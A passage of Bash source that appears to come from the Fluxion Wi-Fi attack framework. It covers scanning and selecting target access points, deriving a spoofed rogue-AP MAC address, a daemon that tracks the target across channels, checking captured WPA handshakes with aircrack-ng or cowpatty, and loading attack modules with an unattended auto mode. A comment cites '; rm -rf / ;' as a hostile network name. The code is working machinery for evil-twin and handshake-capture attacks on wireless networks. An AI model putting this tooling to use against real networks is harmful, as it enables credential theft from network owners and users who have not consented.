      if [ "$FluxionAttack" = "Handshake Snooper" ]; then
        ((filteredCount++))
        continue
      fi
    fi

    local i=${#candidatesMAC[@]}

    candidatesMAC[i]="$candidateMAC"
    
    # Look up vendor from kismet netxml file first, fallback to macchanger
    if [ -n "${vendorLookup[${candidatesMAC[i]}]}" ]; then
      local vendor="${vendorLookup[${candidatesMAC[i]}]}"
      # Don't show "Unknown" vendors - leave empty instead
      if [ "$vendor" != "Unknown" ]; then
        candidatesVendor[i]="$vendor"
      else
        candidatesVendor[i]=""
      fi
    else
      # Fallback to macchanger OUI lookup
      local makerID=${candidatesMAC[i]:0:8}
      candidatesVendor[i]=$(
        macchanger -l 2>/dev/null |
        grep -i "${makerID,,}" |
        cut -d ' ' -f 5- |
        head -n 1
      )
      # Leave empty if no vendor found (don't show "Unknown")
    fi
    candidatesClientsCount[i]=$(
      echo "${FluxionTargetCandidatesClients[@]}" |
      grep -c "${candidatesMAC[i]}"
    )
    local __ch=$(echo "$candidateAPInfo" | cut -d , -f 4 | tr -d ' ')
    if [ "$__ch" -ge 52 -a "$__ch" -le 64 ] 2>/dev/null || \
       [ "$__ch" -ge 100 -a "$__ch" -le 144 ] 2>/dev/null; then
      candidatesChannel[i]="${__ch}!"
    else
      candidatesChannel[i]="$__ch"
    fi
    candidatesSecurity[i]=$(echo "$candidateAPInfo" | cut -d , -f 6)
    candidatesPower[i]=$(echo "$candidateAPInfo" | cut -d , -f 9)
    candidatesColor[i]=$(
      [ ${candidatesClientsCount[i]} -gt 0 ] && echo $CGrn || echo $CClr
    )

    # Parse any non-ascii characters by letting bash handle them.
    # Escape all single quotes in ESSID and let bash's $'...' handle it.
    local sanitizedESSID=$(
      echo "${candidateAPInfo//\'/\\\'}" | cut -d , -f 14
    )
    candidatesESSID[i]=$(eval "echo \$'$sanitizedESSID'")
    
    # Mark networks with existing handshakes with asterisk
    if [ "$FluxionAttack" != "Handshake Snooper" ] && [ -n "${existingHandshakes[$candidateMAC]}" ]; then
      candidatesHandshake[i]="*"
    else
      candidatesHandshake[i]=" "
    fi

    local power=${candidatesPower[i]}
    if [ $power -eq -1 ]; then
      # airodump-ng's man page says -1 means unsupported value.
      candidatesQuality[i]="??"
    elif [ $power -le $FLUXIONNoiseFloor ]; then
      candidatesQuality[i]=0
    elif [ $power -gt $FLUXIONNoiseCeiling ]; then
      candidatesQuality[i]=100
    else
      # Bash doesn't support floating point division, work around it...
      # Q = ((P - F) / (C - F)); Q-quality, P-power, F-floor, C-Ceiling.
      candidatesQuality[i]=$(( \
        (${candidatesPower[i]} * 10 - $FLUXIONNoiseFloor * 10) / \
        (($FLUXIONNoiseCeiling - $FLUXIONNoiseFloor) / 10) \
      ))
    fi
  done

  # Check if all networks were filtered out
  if [ ${#candidatesMAC[@]} -eq 0 ]; then
    local emptyMessage=""
    if [ $filteredCount -gt 0 ]; then
      emptyMessage="${CYel}All $filteredCount network(s) on this channel have existing handshakes.$CClr\n"
      emptyMessage+="${CYel}Please scan a different channel or delete existing handshakes.$CClr\n\n"
    else
      emptyMessage="${CRed}No networks found on this channel.$CClr\n\n"
    fi

    local choices=("$FLUXIONGeneralBackOption")
    io_query_choice "$emptyMessage" choices[@]
    return 1
  fi

  format_center_literals "WIFI LIST"
  local headerTitle="$FormatCenterLiterals\n\n"

  # Add notice if networks were filtered
  if [ $filteredCount -gt 0 ]; then
    headerTitle+="${CBRed}Note: $filteredCount network(s) with existing handshakes were filtered$CClr\n\n"
  fi

  # Add DFS legend if any candidate is on a DFS channel
  local __hasDFS=""
  local __chk
  for __chk in "${candidatesChannel[@]}"; do
    if [[ "$__chk" == *"!" ]]; then __hasDFS=1; break; fi
  done
  if [ "$__hasDFS" ]; then
    headerTitle+="${CYel}! = DFS channel (rogue AP may require a non-DFS fallback)$CClr\n\n"
  fi

  local __essidMaxLen=5
  local __essidEntry
  for __essidEntry in "${candidatesESSID[@]}"; do
    [ ${#__essidEntry} -gt $__essidMaxLen ] && __essidMaxLen=${#__essidEntry}
  done
  local __vendorMaxLen=6
  local __vendorEntry
  for __vendorEntry in "${candidatesVendor[@]}"; do
    [ ${#__vendorEntry} -gt $__vendorMaxLen ] && __vendorMaxLen=${#__vendorEntry}
  done

  local -r headerFields=$(
    printf "$CRed[$CSYel ** $CClr$CRed]$CClr %2s %-${__essidMaxLen}s %4s %3s %3s %4s %-8s %-17s %-${__vendorMaxLen}s\n" \
      "HS" "ESSID" "QLTY" "PWR" "STA" "CH" "SECURITY" "BSSID" "VENDOR"
  )

  local -r __dataFormat="$CRed[$CSYel%03d$CClr$CRed]%b  %2s %-${__essidMaxLen}.${__essidMaxLen}s %3s%% %3s %3d %4s %-8.8s %-17s %-${__vendorMaxLen}.${__vendorMaxLen}s\n"
  FormatApplyAutosize="$__dataFormat"

  if [ "$FLUXIONAuto" ]; then
    # Auto mode: select target matching -b/-e flags, or first available.
    local autoTargetIndex=0
    if [ "$FluxionTargetMAC" ] || [ "$FluxionTargetSSID" ]; then
      local ti
      for ti in "${!candidatesMAC[@]}"; do
        if [ "$FluxionTargetMAC" ] && \
          [ "${candidatesMAC[ti],,}" = "${FluxionTargetMAC,,}" ]; then
          autoTargetIndex=$ti; break
        fi
        if [ "$FluxionTargetSSID" ] && \
          [ "${candidatesESSID[ti]}" = "$FluxionTargetSSID" ]; then
          autoTargetIndex=$ti; break
        fi
      done
    fi

    FluxionTargetMAC=${candidatesMAC[$autoTargetIndex]}
    FluxionTargetSSID=${candidatesESSID[$autoTargetIndex]}
    FluxionTargetChannel=${candidatesChannel[$autoTargetIndex]//!/}
    fluxion_status "TARGET_SELECTED ssid=$FluxionTargetSSID bssid=$FluxionTargetMAC channel=$FluxionTargetChannel"
  else
    io_query_format_fields "$headerTitle$headerFields" \
     "$FormatApplyAutosize" \
      candidatesColor[@] \
      candidatesHandshake[@] \
      candidatesESSID[@] \
      candidatesQuality[@] \
      candidatesPower[@] \
      candidatesClientsCount[@] \
      candidatesChannel[@] \
      candidatesSecurity[@] \
      candidatesMAC[@] \
      candidatesVendor[@]

    echo

    FluxionTargetMAC=${IOQueryFormatFields[8]}
    FluxionTargetSSID=${IOQueryFormatFields[2]}
    FluxionTargetChannel=${IOQueryFormatFields[6]//!/}
  fi

  if [ "$FLUXIONAuto" ]; then
    FluxionTargetEncryption=${candidatesSecurity[$autoTargetIndex]}
    FluxionTargetMaker=${candidatesVendor[$autoTargetIndex]}
  else
    FluxionTargetEncryption=${IOQueryFormatFields[7]}
    # Get vendor from the selection (IOQueryFormatFields[9] is the vendor column)
    FluxionTargetMaker=${IOQueryFormatFields[9]}
  fi

  # Cleanup airodump-ng output files after vendor lookup is complete
  sandbox_remove_workfile "$FLUXIONWorkspacePath/dump*"

  FluxionTargetMakerID=${FluxionTargetMAC:0:8}
  
  # If vendor wasn't found in kismet/list, fallback to macchanger lookup
  if [ -z "$FluxionTargetMaker" ]; then
    FluxionTargetMaker=$(
      macchanger -l |
      grep ${FluxionTargetMakerID,,} 2> $FLUXIONOutputDevice |
      cut -d ' ' -f 5-
    )
  fi

  FluxionTargetSSIDClean=$(fluxion_target_normalize_SSID)

  # We'll change a single hex digit from the target AP's MAC address.
  # This new MAC address will be used as the rogue AP's MAC address.
  local -r rogueMACHex=$(printf %02X $((0x${FluxionTargetMAC:13:1} + 1)))
  FluxionTargetRogueMAC="${FluxionTargetMAC::13}${rogueMACHex:1:1}${FluxionTargetMAC:14:4}"
}

fluxion_target_normalize_SSID() {
  # Sanitize network ESSID to make it safe for manipulation.
  # Notice: Why remove these? Some smartass might decide to name their
  # network "; rm -rf / ;". If the string isn't sanitized accidentally
  # shit'll hit the fan and we'll have an extremly distressed user.
  # Replacing ' ', '/', '.', '~', '\' with '_'
  echo "$FluxionTargetSSID" | sed -r 's/( |\/|\.|\~|\\)+/_/g'
}

fluxion_target_show() {
  format_apply_autosize "%*s$CBlu%7s$CClr: %-32s%*s\n"

  local colorlessFormat="$FormatApplyAutosize"
  local colorfullFormat=$(
    echo "$colorlessFormat" | sed -r 's/%-32s/%-32b/g'
  )

  printf "$colorlessFormat" "" "ESSID" "\"${FluxionTargetSSID:-[N/A]}\" / ${FluxionTargetEncryption:-[N/A]}" ""
  printf "$colorlessFormat" "" "Channel" " ${FluxionTargetChannel:-[N/A]}" ""
  printf "$colorfullFormat" "" "BSSID" " ${FluxionTargetMAC:-[N/A]} ($CYel${FluxionTargetMaker:-[N/A]}$CClr)" ""

  echo
}

fluxion_target_tracker_daemon() {
  if [ ! "$1" ]; then return 1; fi # Assure we've got fluxion's PID.

  readonly fluxionPID=$1
  readonly monitorTimeout=10 # In seconds.
  readonly capturePath="$FLUXIONWorkspacePath/tracker_capture"

  echo "[T-Tracker] === DAEMON STARTED ===" > $FLUXIONOutputDevice
  echo "[T-Tracker] Fluxion PID: $fluxionPID" > $FLUXIONOutputDevice
  echo "[T-Tracker] Tracker Interface: $FluxionTargetTrackerInterface" > $FLUXIONOutputDevice
  echo "[T-Tracker] Target MAC: $FluxionTargetMAC" > $FLUXIONOutputDevice
  echo "[T-Tracker] Target SSID: $FluxionTargetSSID" > $FLUXIONOutputDevice
  echo "[T-Tracker] Current Channel: $FluxionTargetChannel" > $FLUXIONOutputDevice

  if [ \
    -z "$FluxionTargetMAC" -o \
    -z "$FluxionTargetSSID" -o \
    -z "$FluxionTargetChannel" ]; then
    echo "[T-Tracker] ERROR: Missing target info, aborting." > $FLUXIONOutputDevice
    return 2 # If we're missing target information, we can't track properly.
  fi

  local apPresent=1 # 1 = AP visible, 0 = AP not visible.

  while true; do
    echo "[T-Tracker] Scanning all channels for $monitorTimeout seconds..." > $FLUXIONOutputDevice
    # Use --band abg to scan all 2.4GHz and 5GHz channels to detect channel hopping
    # Redirect stdin from /dev/null to prevent SIGTTIN stopping the background process
    timeout $monitorTimeout airodump-ng --band abg -aw "$capturePath" \
      -d "$FluxionTargetMAC" $FluxionTargetTrackerInterface </dev/null &>/dev/null
    local error=$? # Catch the returned status error code.

    echo "[T-Tracker] airodump-ng exited with code: $error" > $FLUXIONOutputDevice

    # Exit code 124 means timeout expired (expected), 143 means SIGTERM (also from timeout)
    # Only abort on unexpected errors (not 0, 124, or 143)
    if [ $error -ne 0 ] && [ $error -ne 124 ] && [ $error -ne 143 ]; then
      echo -e "[T-Tracker] ${CRed}Error:$CClr Operation aborted (code: $error)!" > $FLUXIONOutputDevice
      break
    fi

    local targetInfo=$(head -n 3 "$capturePath-01.csv" 2>/dev/null | tail -n 1)
    sandbox_remove_workfile "$capturePath-*"

    local targetChannel=$(
      echo "$targetInfo" | awk -F, '{gsub(/ /, "", $4); print $4}'
    )

    echo "[T-Tracker] Raw info: $targetInfo" > $FLUXIONOutputDevice
    echo "[T-Tracker] Detected channel: '$targetChannel' (expected: '$FluxionTargetChannel')" > $FLUXIONOutputDevice

    # Detect presence/absence transitions and signal the parent.
    if [ -z "$targetChannel" ] || [ "$targetChannel" = "-1" ]; then
      echo "[T-Tracker] Target not found or channel invalid, retrying..." > $FLUXIONOutputDevice
      if [ $apPresent -ne 0 ]; then
        apPresent=0
        echo "[T-Tracker] AP disappeared — signalling pause." > $FLUXIONOutputDevice
        kill -SIGUSR1 $fluxionPID 2>/dev/null
      fi
      continue
    fi

    # AP is visible — signal resume if it was previously absent.
    if [ $apPresent -eq 0 ]; then
      apPresent=1
      echo "[T-Tracker] AP reappeared — signalling resume." > $FLUXIONOutputDevice
      kill -SIGUSR2 $fluxionPID 2>/dev/null
    fi

    if [ "$targetChannel" -ne "$FluxionTargetChannel" ] 2>/dev/null; then
      echo "[T-Tracker] !!! CHANNEL CHANGE DETECTED: $FluxionTargetChannel -> $targetChannel !!!" > $FLUXIONOutputDevice
      FluxionTargetChannel=$targetChannel
      break
    fi

    echo "[T-Tracker] Channel unchanged, continuing to monitor..." > $FLUXIONOutputDevice

    # NOTE: We might also want to check for SSID changes here, assuming the only
    # thing that remains constant is the MAC address. The problem with that is
    # that airodump-ng has some serious problems with unicode, apparently.
    # Try feeding it an access point with Chinese characters and check the .csv.
  done

  # Save/overwrite the new target information to the workspace for retrival.
  echo "$FluxionTargetMAC" > "$FLUXIONWorkspacePath/target_info.txt"
  echo "$FluxionTargetSSID" >> "$FLUXIONWorkspacePath/target_info.txt"
  echo "$FluxionTargetChannel" >> "$FLUXIONWorkspacePath/target_info.txt"

  # NOTICE: Using different signals for different things is a BAD idea.
  # We should use a single signal, SIGINT, to handle different situations.
  kill -s SIGALRM $fluxionPID # Signal fluxion a change was detected.

  sandbox_remove_workfile "$capturePath-*"
}

fluxion_target_tracker_stop() {
  if [ ! "$FluxionTargetTrackerDaemonPID" ]; then return 1; fi
  kill -s SIGABRT $FluxionTargetTrackerDaemonPID &> /dev/null
  FluxionTargetTrackerDaemonPID=""
}

fluxion_target_tracker_start() {
  if [ ! "$FluxionTargetTrackerInterface" ]; then
    return 1
  fi

  fluxion_target_tracker_daemon $$ &> $FLUXIONOutputDevice &
  FluxionTargetTrackerDaemonPID=$!
}

fluxion_target_unset_tracker() {
  if [ ! "$FluxionTargetTrackerInterface" ]; then return 1; fi

  # Deallocate the interface from FluxionInterfaces so it can be reused.
  fluxion_deallocate_interface "$FluxionTargetTrackerInterface" 2>/dev/null

  FluxionTargetTrackerInterface=""
}

fluxion_target_set_tracker() {
  if [ "$FluxionTargetTrackerInterface" ]; then
    echo "Tracker interface already set, skipping." > $FLUXIONOutputDevice
    return 0
  fi

  # Check if attack provides tracking interfaces, get & set one.
  if ! type -t attack_tracking_interfaces &> /dev/null; then
    echo "Tracker DOES NOT have interfaces available!" > $FLUXIONOutputDevice
    return 1
  fi

  if [ "$FluxionTargetTrackerInterface" == "" ]; then
    echo "Running get interface (tracker)." > $FLUXIONOutputDevice
    if [ "$FLUXIONAuto" ]; then
      if [ "$FLUXIONTrackerInterface" ]; then
        FluxionInterfaceSelected="$FLUXIONTrackerInterface"
      else
        # Auto mode: skip tracker unless --tracker-interface is specified.
        FluxionTargetTrackerInterface=""
        return 0
      fi
    else
      local -r interfaceQuery=$FLUXIONTargetTrackerInterfaceQuery
      local -r interfaceQueryTip=$FLUXIONTargetTrackerInterfaceQueryTip
      local -r interfaceQueryTip2=$FLUXIONTargetTrackerInterfaceQueryTip2
      if ! fluxion_get_interface attack_tracking_interfaces \
        "$interfaceQuery\n$FLUXIONVLine $interfaceQueryTip\n$FLUXIONVLine $interfaceQueryTip2"; then
        echo "Failed to get tracker interface!" > $FLUXIONOutputDevice
        return 2
      fi
    fi
    local selectedInterface=$FluxionInterfaceSelected
  else
    # Assume user passed one via the command line and move on.
    # If none was given we'll take care of that case below.
    local selectedInterface=$FluxionTargetTrackerInterface
    echo "Tracker interface passed via command line!" > $FLUXIONOutputDevice
  fi

  # If user skipped a tracker interface, move on.
  if [ ! "$selectedInterface" ]; then
    fluxion_target_unset_tracker
    return 0
  fi

  if ! fluxion_allocate_interface $selectedInterface; then
    echo "Failed to allocate tracking interface!" > $FLUXIONOutputDevice
    return 3
  fi

  echo "Successfully got tracker interface." > $FLUXIONOutputDevice
  echo "selectedInterface='$selectedInterface'" >> $FLUXIONOutputDevice
  echo "FluxionInterfaces[$selectedInterface]='${FluxionInterfaces[$selectedInterface]}'" >> $FLUXIONOutputDevice

  # Use the selected interface directly if it exists, otherwise lookup in hash
  if interface_is_real "$selectedInterface"; then
    echo "interface_is_real returned true, using direct" >> $FLUXIONOutputDevice
    FluxionTargetTrackerInterface="$selectedInterface"
  else
    echo "interface_is_real returned false, using hash lookup" >> $FLUXIONOutputDevice
    FluxionTargetTrackerInterface=${FluxionInterfaces[$selectedInterface]}
  fi
  echo "Final FluxionTargetTrackerInterface='$FluxionTargetTrackerInterface'" >> $FLUXIONOutputDevice
}

fluxion_target_unset() {
  FluxionTargetMAC=""
  FluxionTargetSSID=""
  FluxionTargetChannel=""

  FluxionTargetEncryption=""

  FluxionTargetMakerID=""
  FluxionTargetMaker=""

  FluxionTargetSSIDClean=""

  FluxionTargetRogueMAC=""

  return 1 # To trigger undo-chain.
}

fluxion_target_set() {
  echo ">>> fluxion_target_set called" >> "$FLUXIONOutputDevice"
  # Check if attack is targetted & set the attack target if so.
  if ! type -t attack_targetting_interfaces &> /dev/null; then
    echo ">>> attack_targetting_interfaces not found" >> "$FLUXIONOutputDevice"
    return 1
  fi
  echo ">>> attack_targetting_interfaces found" >> "$FLUXIONOutputDevice"

  if [ \
    "$FluxionTargetSSID" -a \
    "$FluxionTargetMAC" -a \
    "$FluxionTargetChannel" \
  ]; then
    # If we've got a candidate target, ask user if we'll keep targetting it.

    # Ensure rogue MAC is always computed when we have a valid target.
    # fluxion_get_target normally computes this, but early returns bypass it.
    if [ -z "$FluxionTargetRogueMAC" ]; then
      local _rogueHex
      _rogueHex=$(printf %02X $((0x${FluxionTargetMAC:13:1} + 1)))
      FluxionTargetRogueMAC="${FluxionTargetMAC::13}${_rogueHex:1:1}${FluxionTargetMAC:14:4}"
    fi

    if [ "$FLUXIONAuto" ]; then
      return 0
    fi

    fluxion_header
    fluxion_target_show
    echo
    echo -e  "$FLUXIONVLine $FLUXIONTargettingAccessPointAboveNotice"

    # TODO: This doesn't translate choices to the selected language.
    while ! echo "$choice" | grep -q "^[ynYN]$" &> /dev/null; do
      echo -ne "$FLUXIONVLine $FLUXIONContinueWithTargetQuery [Y/n] "
      local choice
      read choice
      if [ ! "$choice" ]; then break; fi
    done

    echo -ne "\n\n"

    if [ "${choice,,}" != "n" ]; then
      return 0
    fi
  elif [ \
    "$FluxionTargetSSID" -o \
    "$FluxionTargetMAC" -o \
    "$FluxionTargetChannel" \
  ]; then
    # TODO: Survey environment here to autofill missing fields.
    # In other words, if a user gives incomplete information, scan
    # the environment based on either the ESSID or BSSID, & autofill.
    echo -e "$FLUXIONVLine $FLUXIONIncompleteTargettingInfoNotice"
    sleep 3
  fi

  echo "Starting fluxion_get_interface for targetting" >> $FLUXIONOutputDevice
  if ! fluxion_get_interface attack_targetting_interfaces \
    "$FLUXIONTargetSearchingInterfaceQuery"; then
    echo "fluxion_get_interface failed for targetting" >> $FLUXIONOutputDevice
    return 2
  fi
  if ! fluxion_allocate_interface $FluxionInterfaceSelected; then
    return 3
  fi

  # Use the selected interface directly if it exists, otherwise lookup in hash
  local targetInterface
  if interface_is_real "$FluxionInterfaceSelected"; then
    targetInterface="$FluxionInterfaceSelected"
  else
    targetInterface="${FluxionInterfaces[$FluxionInterfaceSelected]}"
  fi

  if ! fluxion_get_target "$targetInterface"; then
    return 4
  fi

  # Release the scan interface so attack steps (jammer, captor) can reuse it.
  # The target info is already captured in FluxionTarget* variables.
  fluxion_deallocate_interface "$targetInterface"
}


# =================== < Hash Subroutines > =================== #
# Parameters: <hash path> <bssid> <essid> [channel [encryption [maker]]]
fluxion_hash_verify() {
  if [ ${#@} -lt 3 ]; then return 1; fi

  local hashPath=$1

  # If no valid default path was passed, try to locate a handshake by BSSID.
  if [ ! "$hashPath" -o ! -s "$hashPath" ]; then
    local -r handshakeDir="$FLUXIONPath/attacks/Handshake Snooper/handshakes"
    if [ -d "$handshakeDir" ]; then
      local -r bssid_search="${2:-$FluxionTargetMAC}"
      local found_hash
      found_hash=$(ls "$handshakeDir"/*"${bssid_search^^}".cap 2>/dev/null | head -n1)
      if [ ! "$found_hash" ]; then
        found_hash=$(ls "$handshakeDir"/*"${bssid_search,,}".cap 2>/dev/null | head -n1)
      fi
      if [ "$found_hash" ]; then
        hashPath="$found_hash"
      fi
    fi
  fi
  local -r hashBSSID=$2
  local -r hashESSID=$3
  local -r hashChannel=$4
  local -r hashEncryption=$5
  local -r hashMaker=$6

  if [ ! -f "$hashPath" -o ! -s "$hashPath" ]; then
    echo -e "$FLUXIONVLine $FLUXIONHashFileDoesNotExistError"
    sleep 3
    return 2
  fi

  if [ "$FLUXIONAuto" ]; then
    local -r verifier="cowpatty"
  else
    fluxion_header

    echo -e "$FLUXIONVLine $FLUXIONHashVerificationMethodQuery"
    echo

    fluxion_target_show

    local choices=( \
      "$FLUXIONHashVerificationMethodAircrackOption" \
      "$FLUXIONHashVerificationMethodCowpattyOption" \
    )

    # Add pyrit to the options is available.
    if [ -x "$(command -v pyrit)" ]; then
      choices+=("$FLUXIONHashVerificationMethodPyritOption")
    fi

    options+=("$FLUXIONGeneralBackOption")

    io_query_choice "" choices[@]

    echo

    case "$IOQueryChoice" in
      "$FLUXIONHashVerificationMethodPyritOption")
        local -r verifier="pyrit" ;;

      "$FLUXIONHashVerificationMethodAircrackOption")
        local -r verifier="aircrack-ng" ;;

      "$FLUXIONHashVerificationMethodCowpattyOption")
        local -r verifier="cowpatty" ;;

      "$FLUXIONGeneralBackOption")
        return -1 ;;
    esac
  fi

  hash_check_handshake \
    "$verifier" \
    "$hashPath" \
    "$hashESSID" \
    "$hashBSSID"

  local -r hashResult=$?

  # A value other than 0 means there's an issue with the hash.
  if [ $hashResult -ne 0 ]; then
    echo -e "$FLUXIONVLine $FLUXIONHashInvalidError"
  else
    echo -e "$FLUXIONVLine $FLUXIONHashValidNotice"
  fi

  sleep 3

  if [ $hashResult -ne 0 ]; then return 1; fi
}

fluxion_hash_unset_path() {
  if [ ! "$FluxionHashPath" ]; then return 1; fi
  FluxionHashPath=""

  # Since we're auto-selecting when on auto, trigger undo-chain.
  if [ "$FLUXIONAuto" ]; then return 2; fi
}

# Parameters: <hash path> <bssid> <essid> [channel [encryption [maker]]]
fluxion_hash_set_path() {
  if [ "$FluxionHashPath" ]; then return 0; fi

  fluxion_hash_unset_path

  local -r hashPath=$1

  # If we've got a default path, check if a hash exists.
  # If one exists, ask users if they'd like to use it.
  if [ "$hashPath" -a -f "$hashPath" -a -s "$hashPath" ]; then
    if [ "$FLUXIONAuto" ]; then
      echo "Using default hash path: $hashPath" > $FLUXIONOutputDevice
      FluxionHashPath=$hashPath
      return
    else
      local choices=( \
        "$FLUXIONUseFoundHashOption" \
        "$FLUXIONSpecifyHashPathOption" \
        "$FLUXIONHashSourceRescanOption" \
        "$FLUXIONGeneralBackOption" \
      )

      fluxion_header

      echo -e "$FLUXIONVLine $FLUXIONFoundHashNotice"
      echo -e "$FLUXIONVLine $FLUXIONUseFoundHashQuery"
      echo

      io_query_choice "" choices[@]

      echo

      case "$IOQueryChoice" in
        "$FLUXIONUseFoundHashOption")
          FluxionHashPath=$hashPath
          return ;;

        "$FLUXIONHashSourceRescanOption")
          fluxion_hash_set_path "$@"
          return $? ;;

        "$FLUXIONGeneralBackOption")
          return -1 ;;
      esac
    fi
  fi

  if [ "$FLUXIONAuto" ]; then
    # Auto mode: no hash path available, can't prompt user.
    echo "Auto mode: no hash file available." > $FLUXIONOutputDevice
    return 1
  fi

  while [ ! "$FluxionHashPath" ]; do
    fluxion_header

    echo
    echo -e "$FLUXIONVLine $FLUXIONPathToHandshakeFileQuery"
    echo -e "$FLUXIONVLine $FLUXIONPathToHandshakeFileReturnTip"
    echo
    echo -ne "$FLUXIONAbsolutePathInfo: "
    read -e FluxionHashPath

    # Back-track when the user leaves the hash path blank.
    # Notice: Path is cleared if we return, no need to unset.
    if [ ! "$FluxionHashPath" ]; then return 1; fi

    echo "Path given: \"$FluxionHashPath\"" > $FLUXIONOutputDevice

    # Make sure the path points to a valid generic file.
    if [ ! -f "$FluxionHashPath" -o ! -s "$FluxionHashPath" ]; then
      echo -e "$FLUXIONVLine $FLUXIONEmptyOrNonExistentHashError"
      sleep 5
      fluxion_hash_unset_path
    fi
  done
}

# Paramters: <defaultHashPath> <bssid> <essid>
fluxion_hash_get_path() {
  # Assure we've got the bssid and the essid passed in.
  if [ ${#@} -lt 2 ]; then return 1; fi

  while true; do
    fluxion_hash_unset_path
    fluxion_hash_set_path "$@"
    local hash_set_result=$?

    # Handle user navigation separately from real errors.
    if [ $hash_set_result -ne 0 ]; then
      # 1  -> user hit enter on an empty path; keep looping so any
      #       previously found/default hash can be offered again.
      #       BUT if no valid default hash exists, allow going back.
      # 255-> user selected the explicit Back option; bubble up.
      if [ $hash_set_result -eq 1 ]; then
        # Only continue looping if a valid default hash file exists
        if [ -n "$1" ] && [ -f "$1" ] && [ -s "$1" ]; then
          continue  # Valid default hash exists, loop to offer it again
        else
          return -1  # No valid default hash, allow user to go back
        fi
      fi

      if [ $hash_set_result -eq 255 ]; then
        return -1
      fi

      echo "Failed to set hash path." > $FLUXIONOutputDevice
      return -1 # WARNING: The recent error code is NOT contained in $? here!
    else
      echo "Hash path: \"$FluxionHashPath\"" > $FLUXIONOutputDevice
    fi

    if fluxion_hash_verify "$FluxionHashPath" "$2" "$3"; then
      break;
    fi
  done

  # At this point FluxionHashPath will be set and ready.
}


# ================== < Attack Subroutines > ================== #
fluxion_unset_attack() {
  local -r attackWasSet=${FluxionAttack:+1}
  FluxionAttack=""
  if [ ! "$attackWasSet" ]; then return 1; fi
}

fluxion_set_attack() {
  if [ "$FluxionAttack" ]; then return 0; fi

  fluxion_unset_attack

  local attacks
  readarray -t attacks < <(ls -1 "$FLUXIONPath/attacks")

  if [ "$FLUXIONAuto" ]; then
    # Auto mode: prefer Handshake Snooper (natural first step in the workflow).
    local __a
    for __a in "${attacks[@]}"; do
      if [ "$__a" = "Handshake Snooper" ]; then
        FluxionAttack="$__a"; break
      fi
    done
    if [ ! "$FluxionAttack" ]; then
      FluxionAttack="${attacks[0]}"
    fi
    echo "Auto-selected attack: $FluxionAttack" >> "$FLUXIONOutputDevice"
    return 0
  fi

  fluxion_header

  echo -e "$FLUXIONVLine $FLUXIONAttackQuery"
  echo

  fluxion_target_show

  local descriptions
  readarray -t descriptions < <(
    head -n 3 "$FLUXIONPath/attacks/"*"/language/$FluxionLanguage.sh" | \
    grep -E "^# description: " | sed -E 's/# \w+: //'
  )

  local identifiers=()

  local attack
  for attack in "${attacks[@]}"; do
    local identifier=$(
      head -n 3 "$FLUXIONPath/attacks/$attack/language/$FluxionLanguage.sh" | \
      grep -E "^# identifier: " | sed -E 's/# \w+: //'
    )
    if [ "$identifier" ]; then
      identifiers+=("$identifier")
    else
      identifiers+=("$attack")
    fi
  done

  attacks+=("$FLUXIONGeneralBackOption")
  identifiers+=("$FLUXIONGeneralBackOption")
  descriptions+=("")

  io_query_format_fields "" \
    "\t$CRed[$CSYel%d$CClr$CRed]$CClr%0.0s $CCyn%b$CClr %b\n" \
    attacks[@] identifiers[@] descriptions[@]

  echo

  if [ "${IOQueryFormatFields[1]}" = "$FLUXIONGeneralBackOption" ]; then
    return -1
  fi

  if [ "${IOQueryFormatFields[1]}" = "$FLUXIONAttackRestartOption" ]; then
    return 2
  fi


  FluxionAttack=${IOQueryFormatFields[0]}
  echo "Selected attack: $FluxionAttack" >> "$FLUXIONOutputDevice"
  return 0
}

fluxion_unprep_attack() {
  if type -t unprep_attack &> /dev/null; then
    unprep_attack
  fi

  IOUtilsHeader="fluxion_header"

  # Remove any lingering targetting subroutines loaded.
  unset attack_targetting_interfaces
  unset attack_tracking_interfaces

  # Remove any lingering restoration subroutines loaded.
  unset load_attack
  unset save_attack

  if [ "$FluxionTargetTrackerInterface" ]; then
    fluxion_deallocate_interface "$FluxionTargetTrackerInterface" 2>/dev/null
    FluxionTargetTrackerInterface=""
  fi

  return 1 # Trigger another undo since prep isn't significant.
}

fluxion_prep_attack() {
  local -r path="$FLUXIONPath/attacks/$FluxionAttack"

  if [ ! -x "$path/attack.sh" ]; then return 1; fi
  if [ ! -x "$path/language/$FluxionLanguage.sh" ]; then return 2; fi

  # Load attack parameters if any exist.
  if [ "$AttackCLIArguments" ]; then
    eval set -- "$AttackCLIArguments"
    # Remove them after loading them once.
    unset AttackCLIArguments
  fi

  # Load attack and its corresponding language file.
  # Load english by default to overwrite globals that ARE defined.
  source "$path/language/en.sh"
  if [ "$FluxionLanguage" != "en" ]; then
    source "$path/language/$FluxionLanguage.sh"
  fi
  source "$path/attack.sh"

  # Check if attack is targetted & set the attack target if so.
  if type -t attack_targetting_interfaces &> /dev/null; then
    echo "Calling fluxion_target_set" >> "$FLUXIONOutputDevice"
    if ! fluxion_target_set; then 
      echo "fluxion_target_set FAILED" >> "$FLUXIONOutputDevice"
      return 3
    fi
    echo "fluxion_target_set SUCCESS" >> "$FLUXIONOutputDevice"
  fi

  # Check if attack provides tracking interfaces, get & set one.
  # TODO: Uncomment the lines below after implementation.
  echo "Checking for attack_tracking_interfaces" >> "$FLUXIONOutputDevice"
  if type -t attack_tracking_interfaces &> /dev/null; then
    echo "Calling fluxion_target_set_tracker" >> "$FLUXIONOutputDevice"
    if ! fluxion_target_set_tracker; then 
      echo "fluxion_target_set_tracker FAILED" >> "$FLUXIONOutputDevice"
      return 4
    fi
    echo "fluxion_target_set_tracker SUCCESS" >> "$FLUXIONOutputDevice"
  fi

  # If attack is capable of restoration, check for configuration.
  if type -t load_attack &> /dev/null; then
    # If configuration file available, check if user wants to restore.
    if [ -f "$path/attack.conf" ]; then
      if [ "$FLUXIONAuto" ]; then
        # Auto mode: skip restore, reset fresh.
        echo "Auto mode: skipping attack config restore." > $FLUXIONOutputDevice
      else
        local choices=( \
          "$FLUXIONAttackRestoreOption" \
          "$FLUXIONAttackResetOption" \
        )

        io_query_choice "$FLUXIONAttackResumeQuery" choices[@]

        if [ "$IOQueryChoice" = "$FLUXIONAttackRestoreOption" ]; then
          load_attack "$path/attack.conf"
        fi
      fi
    fi
  fi

  if ! prep_attack; then return 5; fi

  # Save the attack for user's convenience if possible.
  if type -t save_attack &> /dev/null; then
    save_attack "$path/attack.conf"
  fi
}

fluxion_run_attack() {
  # Remove stale completion signals left by a previous run so the auto-mode
  # watcher does not immediately exit on a fresh attack cycle.
  rm -f "$FLUXIONWorkspacePath/status.txt" \
        "$FLUXIONWorkspacePath/authenticator_success.flag" \
